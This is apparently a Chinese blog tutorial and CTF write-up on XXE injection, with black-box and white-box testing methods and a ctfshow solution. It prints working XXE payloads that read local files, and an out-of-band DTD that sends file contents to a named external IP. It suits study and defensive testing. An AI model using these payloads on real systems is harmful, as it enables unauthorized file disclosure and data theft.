XXE漏洞 黑盒测试 白盒测试 有无回显问题

前言

什么是XXE(xml外部实体注入漏洞)?  就是网站以xml传输数据 的时候我们截取他的传输流进行修改(网站没有对我们的输入进行过滤) 添加恶意代码 导致数据传输到后台 后台解析xml形式 导致恶意代码被执行

几种常见的传输数据的模式:

1、XML

还有几种模式

普通 :

user=xxx&&pass=xxx

json

{
    
    {
        admin:123
    }
}

为什么介绍这个? 就是不同的文件传输模式是会影响到我们的注入的探针的写入形式

因为 数据的传输是前后端呼应的 : 所以我们的输入在后台是进行解密的

黑盒测试

黑盒测试我们以 本地的源码进行测试

XXE的payload       这里注意  需要在远程的服务器上写入 两个文件
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM  "file:///d:/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>1.1、带外测试:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>2、外部引用实体dtd:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/e.txt">3、无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
4、伪协议玩法

本地先抓包进行判断  xxe是有回显的还是无回显的

那就可以进行文件的读取 (其实XXE实体的注入  还可以进行其他的操作 比如 命令的执行 但是这个一般都是 框架的安全)

演示:

加入这个d:\\下的1.txt是我们的配置文件 

这个有个限制就是php版本需要是5 开头的 因为高版本的这个危险的函数早就鸡鸡了

还有个就是密码随便输就行 都可以进行读取

案例二

一个文本输入的网站  (类似于留言版 这里网站大多会使用 数据传送格式 不然会造成数据的丢失)为什么使用 XML(他是 序列化的传输)

我们右键看一下源码

发现信息就需要进行利用  抓一下包

数据是回显的

为什么后边要加一个 root 这个就是系统的区别了  win是不需要的  但是 linux看这个配置文件是需要root权限

白盒无回显

先说一下思路无回显 :
1、带外   除了使用dnslog  还可以直接使用   自己的服务器
2、 外部xml实体注入        
外部引用dtd库文件(远程代码访问dtd之后就会解析里面的内容xml的特性)进行读取文件(oob盲注  外部引用dtd)
(原理就是把想读取的文件 的 内容  写到其他的空文件)从而实现读取、

白盒测试思路:

1、根据功能看代码  : 如文件的上传的绕过我们黑盒是很难知道逻辑的 只能猜 但是根据这个功能 我们找到相应的代码函数 (move_file_upload)就能分析他的过滤机制

2、根据代码看功能 就是白盒我们知道代码但是不知道  这个漏洞发生在哪里的时候就需要这样做 进行全局搜索我们 了解的这个漏洞的相应的功能

XXE白盒测试的函数        simplexml_load_string       

先玩无回显

带外之后是不是就能 直接执行命令了

但是现在带来的是第二个玩法          oob盲注

就是外部的xxe(远端服务器准备 一个 写入的文件  一个dtd库访问使其触发(

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

))远程访问的作用

之后服务器就会出现这个file.txt

如果执行不了就给与适当的权限

白盒测试

根据函数 找位置

再找功能是那个网页的页面实现的

右键转到引用

看引用 然后浏览器跳转到 页面   进行测试就OK了

演示ctfshow的题目:

解析完我构造 这个的大概意思就是 需要使用 ctfshow 包裹我们的输入才能执行

<!DOCTYPE xiaodi [
        <!ELEMENT ctfshow ANY >
        <!ENTITY flag SYSTEM "file:///flag">
]>
<root>
    <ctfshow>&flag;</ctfshow>
</root>
这个root哪里来的 这个其实是为了成功读取的一个伪装

<!ELEMENT ctfshow ANY > 定义一个ctfshow标签

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/65453.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

yolov5 yolov6 yolov7 yolov8 yolov9目标检测、目标分类 目标切割 性能对比

文章目录 YOLOv1-YOLOv8之间的对比如下表所示&#xff1a;一、YOLO算法的核心思想1. YOLO系列算法的步骤2. Backbone、Neck和Head 二、YOLO系列的算法1.1 模型介绍1.2 网络结构1.3 实现细节1.4 性能表现 2. YOLOv2&#xff08;2016&#xff09;2.1 改进部分2.2 网络结构 3. YOL…

NV-Embed详细技术解析

NV-Embed详细技术解析 1. 方法论 1.1 双向注意力 背景&#xff1a;解码器块中的因果掩码原本用于防止自回归文本生成时的信息泄露创新&#xff1a;在对比学习过程中移除因果注意力掩码优势&#xff1a;提升模型的表示能力,允许双向信息流动 1.2 潜在注意力层 动机&#xf…

jdk版本介绍

1.JDK版本编号 • 主版本号&#xff1a;表示JDK的主要版本&#xff0c;如JDK 8、JDK 11中的8和11。主版本号的提升通常意味着引入了重大的新特性或变更。 • 次版本号&#xff1a;在主版本号之后&#xff0c;有时会跟随一个或多个次版本号&#xff08;如JDK 11.0.2中的0.2&…

低代码开源项目Joget的研究——基本概念和Joget7社区版应用

大纲 1. 基本概念1.1 Form1.1.1 Form1.1.1.1 概述1.1.1.2 主要特点和用途1.1.1.3 创建和使用 Form1.1.1.4 示例 1.1.2 Section1.1.2.1 概述1.1.2.2 主要特点和用途1.1.2.3 示例 1.1.3 Column1.1.4 Field1.1.5 示例 1.2 Datalist1.2.1 Datalist1.2.1.1 主要特点和用途1.2.1.2 创…

【LeetCode 04】 209. 长度最小的子数组

暴力解法&#xff1a; 测试通过✅提交超时❌ class Solution {public int minSubArrayLen(int target, int[] nums) {//暴力解法int sum0;int subLength0;int resultInteger.MAX_VALUE;int lennums.length;for(int i0;i<len;i){//起始位置sum0;for(int ji;j<len;j){//终…

【已解决】图片png转ico格式

起因&#xff1a; pyinstaller 打包时需要 ico 格式图片&#xff0c;但是通常手上只有png格式的图片&#xff0c;为了将png转为ico&#xff0c;直接改后缀会报错“struct.error: unpack requires a buffer of 16 bytes”&#xff0c;我就上网搜了一下&#xff0c;发现都是一些…

Java 中 Stream 流的使用详解

Java 中 Stream 流的使用详解 什么是 Stream&#xff1f; Stream 是 Java 8 引入的一种全新的操作集合的方式。它支持通过声明性方式对集合进行复杂的数据操作&#xff08;如过滤、排序、聚合等&#xff09;&#xff0c;避免使用大量的 for 循环&#xff0c;提高代码的可读性…

AMD | GPU | 深度学习 | 如何使用

问题&#xff1a;我在复现代码的时候&#xff0c;发现自己只拥有AMD的GPU&#xff0c;对于一个硬件小白来说&#xff0c;怎么办呢&#xff1f;我想看看怎么使用&#xff1b;解决&#xff1a; 首先要安装支持AMD的GPU的pytorch&#xff0c;pytorch&#xff1b; 使程序在安装了支…

Blender高效优化工作流程快捷小功能插件 Haggis Tools V1.1.5

Haggis Tools V1.1.5 是一款专为Blender设计的插件&#xff0c;旨在优化工作流程、减少单调和重复的任务&#xff0c;从而为艺术家节省时间。这款插件适用于多个版本的Blender&#xff0c;能够有效提升工作效率。 Blender插件特点&#xff1a; 工作流程优化&#xff1a;专门设…

用 Unity 引擎,了解其核心概念、组件、资源、脚本、编辑器等功能,能够独立开发多平台的游戏或应用

在 Unity 引擎 中开发多平台游戏或应用&#xff0c;掌握其 核心概念、组件、资源管理、脚本编写、编辑器功能 是必不可少的。接下来&#xff0c;我将逐个分析 Unity 引擎的这些内容&#xff0c;详细介绍涉及到的知识&#xff0c;并附上相关代码示例&#xff0c;帮助你更好地理解…

windows C#-显式接口实现

如果一个类实现的两个接口包含签名相同的成员&#xff0c;则在该类上实现此成员会导致这两个接口将此成员用作其实现。 如下示例中&#xff0c;所有对 Paint 的调用皆调用同一方法。 第一个示例定义类型&#xff1a; public interface IControl {void Paint(); } public inter…

数据采集背后的效率革命:如何优化你的爬虫性能

在爬虫技术日益发展的今天&#xff0c;性能优化成为提升数据采集效率的关键。面对日益复杂的网页结构和庞大的数据量&#xff0c;高效的爬虫能够显著降低运行时间和资源成本。本文将围绕爬虫性能优化的核心方法展开讨论&#xff0c;并通过实例对比多进程、多线程以及普通爬取的…

OpenHarmony-5.PM 子系统(2)

电池服务组件OpenHarmony-4.1-Release 1.电池服务组件 Battery Manager 提供了电池信息查询的接口&#xff0c;同时开发者也可以通过公共事件监听电池状态和充放电状态的变化。电池服务组件提供如下功能&#xff1a; 电池信息查询。充放电状态查询。关机充电。 电池服务组件架…

测试冰淇淋模型

测试领域的冰淇淋模型&#xff08;Ice Cream Cone Model&#xff09;是一个相对于传统的测试金字塔模型的反转&#xff0c;是一种与经典金字塔模型相对的测试策略。在这种模型中&#xff0c;测试的分布和重点与传统金字塔模型相反。以下是冰淇淋模型的主要特点和原因&#xff1…

短视频矩阵账号管理技术源码搭建详解,支持OEM

一、引言 在短视频矩阵系统中&#xff0c;账号管理是至关重要的一环&#xff0c;它涉及到多平台账号的接入、用户信息的安全存储与高效管理、权限的精准控制以及账号数据的同步与更新等关键功能。一个健壮、灵活且安全的账号管理技术架构&#xff0c;能够为整个短视频矩阵系统的…

【如何安全删除Windows和Windows.old备份文件夹】

如何安全删除Windows和Windows.old备份文件夹 如何安全删除Windows和Windows.old备份文件夹 - 完整指南方法一&#xff1a;使用PowerShell&#xff08;推荐&#xff09;步骤1&#xff1a;启动管理员权限的PowerShell步骤2&#xff1a;执行删除命令 方法二&#xff1a;使用系统自…

【驱动开发】设备分类、设备号申请和注销,注册和移除字符设备,以及一个基本的内核驱动程序框架代码

一、Linux内核对设备的分类 Linux的文件种类 序号符号类型文件内容文件名原信息1-普通文件√√√2d目录文件√√√3p管道文件√√4s本地socket文件√√5l链接文件软链接有;硬链接相当于别名√√6c字符设备√√7b块设备√√设备类型 Linux内核按驱动程序实现模型框架的不同,…

黑马Java面试教程_P2_MySQL

系列博客目录 文章目录 系列博客目录前言1. 优化1.1 MySQL中&#xff0c;如何定位慢查询&#xff1f;面试文稿 1.2 面试官接着问&#xff1a;那这个SQL语句执行很慢,如何分析 ( 如何优化&#xff09;呢?面试文稿 1.3 了解过索引吗?(什么是索引)1.4 继续问 索引的底层数据结构…

Learning Multi-Scale Photo Exposure Correction

Abstract 用错误的曝光捕捉照片仍然是相机成像的主要错误来源。曝光问题可分为以下两类:(i)曝光过度&#xff0c;即相机曝光时间过长&#xff0c;导致图像区域明亮和褪色;(ii)曝光不足&#xff0c;即曝光时间过短&#xff0c;导致图像区域变暗。曝光不足和曝光过度都会大大降低…

湖南引力:低代码助力实现智慧养老管理系统

“低代码开发宛如一座神奇的桥梁&#xff0c;它以简洁高效的方式连接起创意与应用&#xff0c;降低了开发门槛&#xff0c;为企业和开发者带来前所未有的便捷与可能&#xff0c;开启了快速实现软件梦想的新征程。” ——王港&#xff0c;湖南引力科技有限公司 湖南引力科技有…